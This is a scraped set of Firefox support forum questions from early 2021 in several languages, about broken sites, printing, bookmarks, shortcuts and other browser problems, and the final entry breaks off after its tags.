title: Webforms without contents, missing website funktions, Firefox 86
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396211;
creator: UlfHj.
content:
<p><a href="http://Ratsit.se" rel="nofollow">Ratsit.se</a> has a function for copying an address. When you right-click on an adress, a yellow sign apperas. Clicking that, the whole address will be copied. This function is missing, when opening the website under Firefox (works with other search engines). The function still seems to work with Firefox 70. </p><p>SEB,se. You can get your annual account statement with other search engines, but not with Firefox - here you only get the empty form (headlines show). </p><p>Can someone explain what's wrong, or even better: fix the error? </p><p>Ulf Hj. </p>


created: 2021-03-03T03:26:44-08:00
updated: 2021-03-03T03:59:08-08:00
title: Unknown shortcut. Content turned by 90 degrees. What happened?
tags: mac-os;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396164;
creator: geertje.koenig
content:
<p>It happened that I worked with an online workbook for classes that I have a subscription for. By mistake I pressed a keyboard shortcut (regrettably I don't remenber it, otherwse I would simply repeat the shortcut), and the content turned by 90 degrees. But not all of the content. The toolbar of the workbook ist still in the same position as it should be. </p><p>My suspicion is that the workbook simply is a PDF and that only the embedded PDF turned but not the whole browser window? Has anybody an idea of what to do? </p><p>Thank you! </p>


created: 2021-03-03T03:12:02-08:00
updated: 2021-03-03T03:12:02-08:00
title: my firefox in our laptop is not work well
tags: windows-7;desktop;sync;firefox-860;
product: firefox
topic: sync
locale: en-US
creator: worldunitedforex
content:
<p>yes you can help us to use Firefox doesn't work and can cause to loose our document and some password  thank you to help us </p>


created: 2021-03-03T02:57:45-08:00
updated: 2021-03-03T02:57:45-08:00
title: Mozilla has dropped the ball
tags: desktop;privacy-and-security_1;
product: firefox
topic: privacy-and-security
locale: en-US
creator: harm1
content:
<p>This message is from a concerned life long Firefox user and a life long staunch Firefox advocate. I have resisted IE, Chrome, Safari and all the big tech browsers for well over a decade. Now, sadly, I had to dump Firefox and switch to a Brave clone.  </p><p>It appears that Firefox has joined the cancel culture mob.... The censorhip cheerleaders. </p><p>If the filth in this article is indeed the company view, I cannot in good concience use firefox: <a href="https://blog.mozilla.org/blog/2021/01/08/we-need-more-than-deplatforming/" rel="nofollow">https://blog.mozilla.org/blog/2021/01/08/we-need-more-than-deplatforming/</a>. </p><p>Dump Mitchell Baker. Retract the blog. Have her put it on her personal wordpress. Anything. Please. I want to use Firefox again, but with this sick world-view at the helm, I cannot support it. </p>


created: 2021-03-03T02:33:25-08:00
updated: 2021-03-03T02:33:25-08:00
title: Youtube não aparece o menu lateral
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: pt-BR
creator: rochalucas55
content:
<p>Depois da última atualização (firefox 86), o youtube está com uma série de problemas. Não consigo fazer pesquisas e o site não mostra o menu na lateral esquerda. </p>


created: 2021-03-03T02:27:11-08:00
updated: 2021-03-03T02:45:38-08:00
title: I have mixed content on a site according to the Padlock
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396152;1396153;
creator: pamela17
content:
<p>How can I tell what is causing the mixed content? If I do a view source everything is https: and not http: Could it be caused by another page? </p><p><br> Thanks </p>


created: 2021-03-03T01:52:21-08:00
updated: 2021-03-07T09:45:29-08:00
title: problems with photos (persons to wide or too thin) when window size is reduced (Firefox)
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396986;
creator: eveline_guehring
content:
<p>Hi,  Despite the latest version of Firefox, when I reduce the window size of a news website (like <a href="http://www.orf.at" rel="nofollow">www.orf.at</a>), it's photos turn into wrong sizes: persons become either too thin or too wide. How can this problem be solved?  Best regards, Eveline </p>


created: 2021-03-03T01:24:38-08:00
updated: 2021-03-03T01:24:38-08:00
title: WebRTC screenshare combining all monitors to single in dualhead configuration X11 Archlinux
tags: linux;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: Donald4444
content:
<p>When I try to share one of my monitor's via WebRTC (e.g. <a href="https://www.webrtc-experiment.com/Pluginfree-Screen-Sharing" rel="nofollow">https://www.webrtc-experiment.com/Pluginfree-Screen-Sharing</a>) the options are the open windows and "share full screen", which is a combination of both my monitors. (1280x1024 and 1920x1080) I tested this with firefox 86.0 and firefox-nightly 88.0a1.20210301. To ensure it aren't addon's or a weird setting that I made that stop the screen sharing I used the command "firefox-nightly --profile /tmp/firefox-test" I use Arch-Linux with i3 as window manager with the X11 Server. I would except to be able to select the individual monitor's instead of the combination of all. </p>


created: 2021-03-03T01:18:53-08:00
updated: 2021-03-03T16:41:50-08:00
title: Search engines limited to language version
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396156;1396176;1396178;
creator: Rafau
content:
<p>Hello everyone. </p><p>I tried switching Firefox (Windows 10) from Polish to English. (It is nice to see a program in your native language. However, most manuals, tutorials, forums etc. on the Web are in English, so using English version of apps wherever possible feels straightforward and consistent). I found one functionality that is browser language dependent for no reason - availability of search engines. Specifically, <a href="http://allegro.pl" rel="nofollow">allegro.pl</a> (Polish auction site). It's there by default when Firefox language is set to Polish. When I switch to English, it disappears along with other default Polish search engines, only to be replaced by English ones. </p><p>When I try a "manual" setup of search engines, <a href="http://allegro.pl" rel="nofollow">allegro.pl</a> is nowhere to be found. Firefox settings -&gt; find search engines - no official allegro search engine (just some fan-made add-ons). Go to <a href="http://allegro.pl" rel="nofollow">allegro.pl</a> -&gt; Firefox search bar - I expected the icon of magnifier with green plus sign that would add the search engine of current site - again it's not there. </p><p>Is there any workaround? Cheers, Rafał </p>


created: 2021-03-03T00:56:05-08:00
updated: 2021-03-03T00:56:05-08:00
title: Fonts aren't loading properly in Firefox Nightly 88.0a1
tags: desktop;other;windows-10;
product: firefox
topic: other
locale: en-US
creator: jacoporossettij.r.6
content:
<p>So, basically fonts aren't loading properly on some sites: An example is tinkercad (see attached photo). </p>


created: 2021-03-03T00:25:57-08:00
updated: 2021-03-03T00:25:57-08:00
title: Coming from chrome: dealbreaking feature omission
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
creator: stonecircle
content:
<p>Hi, In Chrome, I can assign a shortcut key to launch any extension.  In Firefox I cannot.  There are one or two that I use constantly when form-filling, so this absense is a major productivity loss and means people like me won't switch. </p><p>In Firefox's Manage Your Extensions --&gt; Manage Extension Shortcuts page, there's a message: "The following extensions do not have shortcuts [extensions are listed]".  Chrome doesn't have such a limitation; any extension can be launched by a shortcut key. </p><p>Furthermore, I can't submit a feature suggestion because Help --&gt; Submit Feedback takes you to a dead page.  "Please check back soon - we've paused submissions".  Not a good impression upon returning to Firefox having spent the last seven years away using Chrome.   </p><p>Please match your competitor! </p><p>Cheers. </p>


created: 2021-03-03T00:11:21-08:00
updated: 2021-03-03T00:11:21-08:00
title: After update, left click will not open link
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: patrick.cuthbert
content:
<p>Since last update I cannot click on a link and get the transfer to that link. Nothing happens. I have to right click and select open. </p>


created: 2021-03-03T00:00:15-08:00
updated: 2021-03-03T00:00:15-08:00
title: Handlers.json and GPO (admx)
tags: desktop;customize;
product: firefox
topic: customize
locale: en-US
creator: rambler932000
content:
<p>Hello, </p><p>Fire Fox version 78.2 ESR is default browser OS: Windows 10 1909 PB: I want to execute form Firefox: microsoft-edge:<a href="https://google.com" rel="nofollow">https://google.com</a> But the browser need a confirmation I add a gpo for Firefox (admx:) Handlers: {"DefaultHandlersVersion":{"fr":3},"microsoft-edge":{"action":4}} The policy is present in Firefox (about:policies) but it's not working is working if i modify the handlers.json in profiles folders  </p><p>why the GPO not working ? why the handlers.json is not modified when the GPO is applied ? the syntaxes is it good ? Ha you got any ideas ? </p><p>Thanks </p>


created: 2021-03-02T23:56:07-08:00
updated: 2021-03-02T23:56:07-08:00
title: Broken Text of Arabic and Urdu
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: affan321
content:
<p>Firefox shows broken text in Arabic and Urdu. It makes it unreadable and I have to switch to Chrome for all my Urdu and Arabic queries. I love firefox but I hate to switch between browsers, I hope this issue can be resolved or I may have to switch back to chrome. :( Images for Firefox and Chrome attached. </p>


created: 2021-03-02T23:34:20-08:00
updated: 2021-03-07T09:50:39-08:00
title: automatic login facility
tags: windows-7;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396988;
creator: allenadams55
content:
<p>I've done all that Firefox suggests but I always have to fill in my login details at every site.  How do I get Firefox to automatically offer my login details to login? </p>


created: 2021-03-02T23:25:17-08:00
updated: 2021-03-02T23:26:33-08:00
title: Firefox Não Carrega Nada No Navegador (Nem Abre Opções)
tags: desktop;fix-problems;needsinfo;
product: firefox
topic: fix-problems
locale: pt-BR
answers: 1396136;
creator: igorvianacoach
content:
<p>Eu instalei o windows 10 na minha máquina, e assim que instalei o Firefox, me deparei com um problema. Ao entrar no firefox e digitar algum endereço, e apertar ENTER, nada acontece! Os botões no canto superior esquerdo (as setas de anterior/próxima página), não estão clicáveis, bem como, não é possível entrar nas opções do navegador, pois clico, e não abre NADA! Um fato interessante... Quando eu digito algo no google, aparecem as recomendações de pesquisa. Por exemplo: Digito Facebook, Aparece logo abaixo: Facebook login, facebook cadastro, facebook amigos, e etc. Preciso de ajuda pois uso bastante o firefox e não estou conseguindo. Segue os prints de como tá. O primeiro print, onde digito na barra de endereço, e aparecem as recomendações. O segundo print, foi após apertar o ENTER, e nada acontece. </p><p>PROBLEMA ACONTECENDO APENAS NO FIREFOX, CHROME E EXPLORER ABRE NORMAL </p>


created: 2021-03-02T23:06:39-08:00
updated: 2021-03-03T17:18:17-08:00
title: html <audio>
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396285;1396288;1396295;
creator: josdb
content:
<p>Can anyone tell me why the following html code doesn't work: </p> <pre>&lt;audio autoplay&gt;   &lt;source src="file.mp3" type="audio/mpeg"&gt; Your browser does not support the audio element. &lt;/audio&gt;</pre><br> <p>I must say, it does work in Microsoft Edge, but in no other browser, including Firefox. And how could I make it work? I want the audio file to start playing when the page is opened, in the background, no controls, no loops... </p><p>Thanks in advance for any help. </p>


created: 2021-03-02T21:35:47-08:00
updated: 2021-03-08T16:26:57-08:00
title: Print dialogue requires choice between useless clutter or no page numbering.
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1397179;1397344;
creator: bwp123
content:
<p>Unfortunately, allowing Firefox to update means we are now stuck with the new print dialogue, which is now as un-customizeable as all other browsers. The worst element of this from my point of view as a teacher who frequently prints from the internet is the newly imposed loss of the capacity to customize headers and footers. The two-pages-per-sheet option is obviously a good thing, but in order to number the pages, one is required to splay the URL across the entire top of the page. This is yet worse if you attempt to use the two-page-per-sheet format; you will now have the URL displayed TWICE across the top of the entire page. It's ugly and unnecessary, as is the date and time that I prepped the material. The title is at the top of any article; now it also have to be on every sheet multiple times, alongside the URL, the date and time, and only one possible numbering format. What is sad is that it appears not to be understood that the desired form for much printing from the internet is something approximating the  appearance of a book or journal page; whether it is two on one page, or single pages per sheet. If anyone knows how to preserve BOTH the customizable headers and footers AND select one OR two pages per sheet, we'd be very well-helped. </p>


created: 2021-03-02T21:25:41-08:00
updated: 2021-03-03T02:15:27-08:00
title: I know I use a Firefox browser but ask me more than that and I'm completely lost.
tags: windows-vista;desktop;download-and-install_1;firefox-520;
product: firefox
topic: download-and-install
locale: en-US
answers: 1396151;
creator: richncon
content:
<p>As above.  Just tell me the steps one by one please.  I only ask miracles from God so I don't want to ask you too much out of your ken! </p>


created: 2021-03-02T20:20:07-08:00
updated: 2021-03-03T16:10:27-08:00
title: firefox shitcode being shit again, VCRUNTIME140_1.DLL edition
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396146;1396286;1396289;
creator: bigdestyn
content:
<p>I dont know why its giving me shit today, but it broke today. Got the error when opening a link in outlook, help would be appreciated. </p>


created: 2021-03-02T18:56:20-08:00
updated: 2021-03-02T20:17:31-08:00
title: firefox not working
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396127;1396131;
creator: arunbalajic386
content:
<p>The search doesnt work, menu bar doesnt work all i get is the startup screen without the firefox logo and unable to search </p>


created: 2021-03-02T18:50:02-08:00
updated: 2021-03-02T18:50:02-08:00
title: Youtube slow download speed compared to Chrome!
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: BWX232
content:
<p>Made a vid showing issue. I resorted to completely uninstalling FF 86.0 today and reinstalling. I even deleted all Mozilla folders and files I could find on C drive. Fresh install doing the exact same thing. Chrome and other browsers just fine.  </p><p>Win 10 fully updated. </p><p><a href="https://youtu.be/Ccz4pvlmbWY" rel="nofollow">https://youtu.be/Ccz4pvlmbWY</a> </p>


created: 2021-03-02T17:20:11-08:00
updated: 2021-03-03T07:01:33-08:00
title: How do I move Firefox to a new PC
tags: desktop;download-and-install_1;windows-10;firefox-850;
product: firefox
topic: download-and-install
locale: en-US
answers: 1396113;1396116;1396185;
creator: mschwage
content:
<p>Hi, I want to move Firefox to a new PC. I know there are many guides on how to do that, but what I'm most concerned about are my open windows and Tabs. How do I preserve those on the move? </p><p>Thank you. </p>


created: 2021-03-02T16:58:59-08:00
updated: 2021-03-09T14:44:37-08:00
title: NS_ERROR_UNKNOWN_HOST
tags: mac-os;desktop;privacy-and-security_1;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396115;1396311;1397371;1397529;
creator: mace2
content:
<p>In "about:networking#dnslookuptool" when a DNS test is performed the HTTP RR value is NS_ERROR_UNKNOWN_HOST. </p><p>What does the https RR value represent and why the error? </p>


created: 2021-03-02T16:37:06-08:00
updated: 2021-03-08T13:34:09-08:00
title: Google Earth won't load in browser; constisently stuck on loading screen
tags: desktop;fix-problems;escalate;windows-10;webgl;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396109;1396117;1396130;1396137;1396149;1396308;1396313;1396320;1396329;1397277;1397285;
creator: jocusmo
content:
<p>Hello all. For the past couple months i've been able to use the web version of Google Earth within the browser with little to no issue. However, about a week or two ago I discovered Google Earth stopped working whenever I tried to use it. I would navigate to Google Earth's website, click "Launch Google Earth", and be met with this loading screen which never changes. I went to Google for help and they had me run Memtest86 on my computer, to which I found all of my RAM sticks were fully functional with 0 error or issue. </p><p>I am using the absolute latest version of firefox as well as my operating system. I am running Windows 10 on a custom built PC for gaming, 64-bit. I've tried the following: </p><p>-disabling browser addons -restarting firefox -disabling my antivirus -disabling my antimalware -restarting computer (multiple times) -disabling ALL of my browser addons </p><p>Now at first google earth wouldn't load in google chrome either, but at some point during my troubleshooting for fixing google earth on firefox, google earth began loading in chrome with no issue. As of now the only browser that can't pull up google earth is Firefox. I've attached a screenshot of the error messages I see when loading Google Earth in firefox. </p><p>Please, any and all help would be greatly appreciated. If there's anymore relevant, useful information I could provide then please let me know. </p>


created: 2021-03-02T16:06:50-08:00
updated: 2021-03-02T16:06:50-08:00
title: Webcam video quality issues with Firefox
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: garyl1
content:
<p>When I use my desktop built in camera with Firefox, the video image is green and distorted, but I do not experience this issue with Google and Microsoft Edge.  See picture. </p>


created: 2021-03-02T16:04:34-08:00
updated: 2021-03-09T18:11:17-08:00
title: I am no longer able to print to a PDF file using Microsoft Print to PDF
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396989;1397098;1397178;1397341;1397609;
creator: annevw.aw
content:
<p>I save many items and documents as PDF files using the Microsoft Print to PDF option, rather than physically printing on my printer. This worked fine for quite some time. This option no longer works when I am using Firefox, but it still works if I use Chrome.  </p><p>I would rather not have to switch to Chrome whenever I want to print something to a PDF file. </p><p>How can I resolve this? </p>


created: 2021-03-04T15:36:47-08:00
updated: 2021-03-06T12:59:08-08:00
title: Fire fox refuses to open "Bing"
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396676;1396690;1396731;
creator: calebholl
content:
<p>So, I was trying to head to Bing for reasons I will not disclose due to embarrassment. So I went to open it from google and was given the Error: </p><pre> ''''''''<em><strong>The page isn’t redirecting properly </strong></em> </pre> <p>Firefox has detected that the server is redirecting the request for this address in a way that will never complete. </p><pre>This problem can sometimes be caused by disabling or refusing to accept cookies.''''''''<em><strong> </strong></em> </pre> <p>So I cleared cookies and site data, nothing still got the error. I tried checking my PC for malware as stupid as it sounds, I just didn't wanna be asked to do it. Spic and Span. I even checked my protection settings which FOR SOME REASON turned themselves back on. I turned those off and still, no dice. </p><p>Any help would be appreciated </p>


created: 2021-03-04T15:36:19-08:00
updated: 2021-03-05T01:42:21-08:00
title: Move Tab: Ctrl+Shift+ PgUp/PgDn No Longer Works After Firefox Update
tags: linux;desktop;tabs;firefox-860;
product: firefox
topic: tabs
locale: en-US
answers: 1396452;1396474;1396476;1396504;
creator: frank173
content:
<p>Hi. I'm currently using Firefox 86.0 in Linux (Ubuntu 20.04 64-bit) and for aeons I've been using Ctrl+Shift+ PgUp/PgDn to move tabs left and right, but a couple of updates ago I lost the ability to do so. Actually, I should say using the LEFT Ctrl and Shift buttons no longer works, as I ended up trying the right ones and I can still re-order tabs that way. However, I'm just so used to having my left hand working on that side of the keyboard, I always automatically press the left Ctrl+Shift, so I'd really like to get back to how things were until very recently. I was hoping doing another update to 86.0 yesterday would fix it, but it hasn't so here I am. </p><p>I've searched all over the web for a remedy, but all I see is people repeating the key combo, people recommending extensions that no longer exist (and I don't really want to install addons for something that used to be the default). I have not installed any addons for ages, have not tinkered with any settings (I can't even find any for key bindings) - all I did was let my system update Firefox, and that key combo was gone. (Note: since my system and apps get updated together, I can't actually be certain with was updating Firefox that did this, but I see no changed keyboard behavior elsewhere). </p><p>If anyone knows how to fix this, like a key in about:config or whatever, please let me know. PS: While searching the web, I've seen a lot of talk about related (Ctrl+Shift) combos I've never used - like Ctrl+Shift+ End to move the tab to the very end - and none of them work; the only Ctrl+Shift combo that works, and only with the right Ctrl+Shift, is Ctrl+Shift+ PgUp/PgDn for moving tabs left and right. I thought I should add that just in case it's related. </p>


created: 2021-03-04T15:17:57-08:00
updated: 2021-03-04T15:17:57-08:00
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: fi
creator: timdance
title:
Firefoxin nykyisessä versiossa ei toimi varmenteen automaattinen valinta, eikä yhteys sirukortin lukijaan

content:
<p>Firefoxin varmenteen automaattinen haku valinta puuttuu nykyisestä Firefoxista. Fujitsu DigiSign ohjeen mukaan pitää  olla valittuna hae varmenne automaattisesti. Varmenteen haku ominaisuus pitää korjata niin että kaikki valinnat näkyvät! Ja yhteys kortinlukijaan USB liitännän kautta toimimaan. Pyydän soittamaan puhelimella suomen kielellä milloin korjataan! Terveisin Timo Törmikoski Kuvat liitteenä. </p>


created: 2021-03-04T14:47:13-08:00
updated: 2021-03-04T14:47:13-08:00
title: locked out of log ins
tags: mac-os;desktop;privacy-and-security_1;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
creator: seth.keen
content:
<p>Hi My usual access back into my university accounts via the firefox browser are being blocked. I have to keep clearing all history to get it to re-work - almost ready to go back to chrome - help me stay with firefox as I like it usually </p>


created: 2021-03-04T14:13:27-08:00
updated: 2021-03-04T17:10:18-08:00
title: How to stop opening links in new tabs
tags: mac-os;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396431;1396432;1396434;1396437;1396449;
creator: stewartalexandre5
content:
<p>Whenever I do an internet search on Firefox, clicking a link will open it in a new tab. This annoys me as I soon get multiple tabs open that i need to go and close. How can I change this so clicking a link opens it in the same tab? </p>


created: 2021-03-04T13:34:59-08:00
updated: 2021-03-04T13:34:59-08:00
title: block keyboard hijacking
tags: mac-os;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: exekutive
content:
<p>Some websites like to hijack your keyboard shortcuts. (For example in forums, ⌘-C, ⌘-V, ⌘-K, ⌘-L) </p><p>In Firefox, you can hold ⌘+Shift while clicking a link to open it in a new background tab. I recently encountered a website (Duckduckgo) which hijacks this as well. </p><p>Is there a way to block website from redirecting your keyboard shortcuts. It's really intrusive and I hate it. </p><p>Thanks. </p>


created: 2021-03-04T13:31:32-08:00
updated: 2021-03-04T19:37:05-08:00
title: Favoris disparus après nettoyage
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1396471;
creator: chapron.clementine
content:
<p>Bonjour, </p><p>J'ai fait un nettoyage avec Avast aujourd'hui, et cela a complètement perturbé mes marque-pages : dans un premier temps, ils sont restés affichés mais je ne pouvais plus cliquer dessus. Puis, j'ai éteint mon ordinateur, et quand je l'ai rallumé, la plupart de mes marque-pages avaient disparu. Certains sont restés... </p><p>J'ai tenté de faire une restauration (datée d'aujourd'hui), mais cela m'a remis la même version. </p><p>Est-ce que vous savez ce que je peux faire ? </p><p>Cordialement, Clémentine </p>


created: 2021-03-04T13:19:40-08:00
updated: 2021-03-06T14:02:01-08:00
title: firefox is running out of space / win 8 / loads of free disk space
tags: desktop;fix-problems;windows-81;firefox-850;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396678;1396747;1396749;1396750;1396752;1396753;
creator: dougstackhouse
content:
<p>Hi friends, </p><p>I am receiving an error that firefox is out of disk space. </p><p>"firefox is running out of space" </p><p>Despite following the instructions the error still appears.  I also clicked the "Got it" button in hopes that this would make the error go away, but it keeps coming back.  My system has over 20gb free and I really can't see why this error is occuring. </p><p>Does anyone have any advice?  (besides switching browsers) </p><p>Thanks. </p>


created: 2021-03-04T12:52:07-08:00
updated: 2021-03-04T14:50:07-08:00
title: SEARCH ENGINE
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396430;
creator: jughead64711
content:
<p>I have set up Firefox as my default browser now plz tell me how to set up so that EVERY time I pull up Firefox it comes up with an identified Yahoo search in the mid page search box. </p>


created: 2021-03-04T12:31:34-08:00
updated: 2021-03-04T15:57:17-08:00
title: SSL_ERROR_RX_RECORD_TOO_LONG
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396445;
creator: kauimauloa47
content:
<p>ebay why???? do I get this??? Secure Connection Failed </p><p>An error occurred during a connection to <a href="http://pulsar.ebay.com" rel="nofollow">pulsar.ebay.com</a>. SSL received a record that exceeded the maximum permissible length. </p><p>Error code: SSL_ERROR_RX_RECORD_TOO_LONG </p><pre>   The page you are trying to view cannot be shown because the authenticity of the received data could not be verified.    Please contact the website owners to inform them of this problem. </pre>


created: 2021-03-04T12:26:27-08:00
updated: 2021-03-04T12:26:27-08:00
title: How do I add a favicon to a bookmarklet?
tags: desktop;bookmarks;windows-10;firefox-780;
product: firefox
topic: bookmarks
locale: en-US
creator: candacelebel
content:
<p>I would like to associate a favicon with a bookmarklet that I've created and offer on our library website.  I want the favicon to be associated with the bookmarklet and to show next to the bookmark when it is added onto the bookmarks toolbar. </p>


created: 2021-03-04T12:12:30-08:00
updated: 2021-03-04T12:18:07-08:00
title: HTML Code Getting In the Way Of The User Experience
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396404;
creator: etruscanhouse
content:
<p>More and more websites now display code (HTML?) when you move the cursor around. How do I get the cursor to action whatever it is moved to and not open a box that displays streams of what appears to be HTML code, one assumes is what was used use to program the box? Regards </p>


created: 2021-03-04T11:57:26-08:00
updated: 2021-03-08T06:45:58-08:00
title: How to Print Printer History
tags: mac-os;desktop;tips;firefox-860;
product: firefox
topic: tips
locale: en-US
answers: 1397181;
creator: clarajs2017
content:
<p>Is it possible to view a list of all the things that were printed within the Firefox browser? I'm <strong>not</strong> interested in browsing history-- I'm specifically after an entire list of things that were printed using a printer within Firefox. I tried looking for threads asking the same question, but it seems like everything is focused around the normal browsing history. The system is MacOS Big Sur Version 11.2.1. </p>


created: 2021-03-04T11:57:12-08:00
updated: 2021-03-04T11:57:12-08:00
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: aureafox
title:
Changing the theme to an official dark or third-party theme does not change the background of the bookmarks menu

content:
<p>Firefox desktop stable v86.0. I cleared the cache, started in safe mode and did a browser cleanup - nothing helped... </p>


created: 2021-03-04T11:55:37-08:00
updated: 2021-03-04T12:36:08-08:00
title: Import .CSV file to password manager
tags: desktop;download-and-install_1;
product: firefox
topic: download-and-install
locale: en-US
answers: 1396406;
creator: bradloberg
content:
<p>Read support article about importing username and password info direct from .CSV file. I see at the bottom of that article that if no such option presents (Import from file), I am to ensure that signon.management.page.fileImport.enabled is set to true. I don't see that operator within the listing of configuration options.  I can create that operator and set it to true, but that doesn't make the 'import from file' option appear in the three dot drop down menu within the Logins and Passwords page.  Has the title or location of the fileImport operator changed, been moved? </p>


created: 2021-03-04T11:55:09-08:00
updated: 2021-03-10T16:55:07-08:00
title: Bookmarks & Other Bookmarks
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
creator: DavidDeBord
content:
<p>Greetings,  </p><p>Today, I went to access my Bookmarks, &amp; found them "Empty", other wise "Missing"!  </p><p>I found the "How to recover missing Bookmarks" topics, &amp; that did bring back,what I consider to be My "Permanent Books", bu the section called "Other Bookmarks" will not come back, no matter how many times I go through the "Restore Bookmarks".  </p><p>I Absolutely need that section to be restored, for I had many files in that section that I updated daily, that I planned to move to the "Bookmarks Section".  </p><p>How can I get get this section restored? </p>

answers:
1396529;1396531;1396537;1396576;1396604;1396606;1396609;1396611;1396616;1396630;1396751;1396757;1396806;1396823;1396837;1396947;1396959;1396994;1397012;1397013;1397024;1397034;1397199;1397212;1397357;1397361;1397429;1397620;1397643;1397660;1397918;1397932;


created: 2021-03-04T11:32:43-08:00
updated: 2021-03-04T11:32:43-08:00
title: Evernote Web Clipper add-on stopped working after several years
tags: desktop;customize;
product: firefox
topic: customize
locale: en-US
creator: 123rsc
content:
<p>An Evernote contact spent an hour with me and took over my computer with my permission. She could not fix the problem. She said that I would have to create another Firefox Profile. The one I have is broken or corrupted. Here's a note from our session: </p><p>Here are the steps to create a new Firefox profile, if you would like to give that a try: </p><p>1) Open Firefox profiles page (copy and paste about:profiles to the URL address bar). 2) Find a profile with a label "This is the profile in use and it cannot be deleted" and remember it. 3) Create new profile with any name and location by default. 4) Set new profile as default profile: the image that evidently can't be copied and pasted here states:  "Profile: TEST NEW PROFILE, Default Profile yes" 5) Restart Firefox. 6) Install Evernote Clipper 7) Click on Web Clipper icon and check if Clipper menu opens and article is clipped </p><p>If this procedure helps, the main reason is a corrupted initial Firefox profile (where the Clipper issue happens.) If this is the case, I recommend using the new profile you just created.  </p><p>To return to the initial profile, set as default the profile from the step 2 and restart Firefox. </p><p>For more information about Firefox Profile Manager, click here. </p><p>If this workaround doesn't resolve the issue, please contact Firefox support. I'm afraid I don't have more information about the Firefox profile setup on your Mac. </p><p>I did not try that. Thought I'd go to the Firefox experts first! </p>


created: 2021-03-04T11:00:50-08:00
updated: 2021-03-04T13:05:08-08:00
title: Does anybody know about these video controls? 1.00 << - + >> X
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396408;1396413;
creator: jgberson
content:
<p>Does anybody know what app these controls belong to? </p><p><strong>| 1.00 | &lt;&lt; | - | + | &gt;&gt; | X |</strong> </p><p>Before I had to reinstall my Win 10 O/S and all my apps these controls appeared in the upper left corner of most of my streaming videos and most YT and saved videos.  They allow me to go back or forward 10 seconds and adjust view speed. </p><p>After my SSD hard crash I had to reinstall everything, and FireFox was first up, followed by Video Download Helper. Sync restored FF almost completely. But now those controls do not appear in any streaming mode, and only on some YT videos. </p><p>I cannot find any reference to those controls in FF or DLH. </p><p>I really need to get them working like before so that I can zero in on the best screenshot for my project. </p>


created: 2021-03-04T10:30:01-08:00
updated: 2021-03-04T15:05:09-08:00
title: tables in firefox browser not posssible
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396433;
creator: reiner00001
content:
<p>Hallo, </p><p>I have make  a html-text in notepad with tables. </p><p>When I ant to start this file in the firefox browser, then the margins of the tables are not represented. I can only see the pure text and not the margins (grids). </p><p>What ist the problem??? </p><p>For helping me I would be verry thankful. </p><p>Best wishes Reiner </p>


created: 2021-03-04T10:00:39-08:00
updated: 2021-03-04T10:42:07-08:00
title: Firefox 84 - twitter/firefox get slower over time after reinstallation
tags: windows-7;desktop;fix-problems;firefox-840;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396389;
creator: info4851
content:
<p>Hi everyone, </p><p>I'm on w7-64.  I updated to FF86, and there were obvious problems with it, so I installed 84.  Works fine, except that now I'm noticing twitter and facebook get slower over time.  I didn't notice that before reinstallation of 84. </p><p>I just created a new profile and refreshed.  Will monitor.  But what is the usual issue when firefox is doing this?  Basically its not releasing memory correct? </p><p>I tried useing Firemin (<a href="https://www.rizonesoft.com/downloads/firemin/" rel="nofollow">https://www.rizonesoft.com/downloads/firemin/</a>), and there was a noticable difference with twitter and firefox.  But I'd rather just fix the issue instead of using a bandaid if I can. </p><p>During the reinstallation of FF84, I did delete a few registry entries (I followed a page like this to do it (<a href="https://www.tenforums.com/browsers-email/164280-remove-firefox-completely-then-reinstall.html" rel="nofollow">https://www.tenforums.com/browsers-email/164280-remove-firefox-completely-then-reinstall.html</a>)).  But I don't know how that could effect releasing memory. </p><p>I'll keep you updated, but does anyone have any insight? </p><p>Thanks! </p>


created: 2021-03-04T09:55:56-08:00
updated: 2021-03-04T10:46:44-08:00
title: bookmarks
tags: desktop;bookmarks;windows-10;firefox-860;
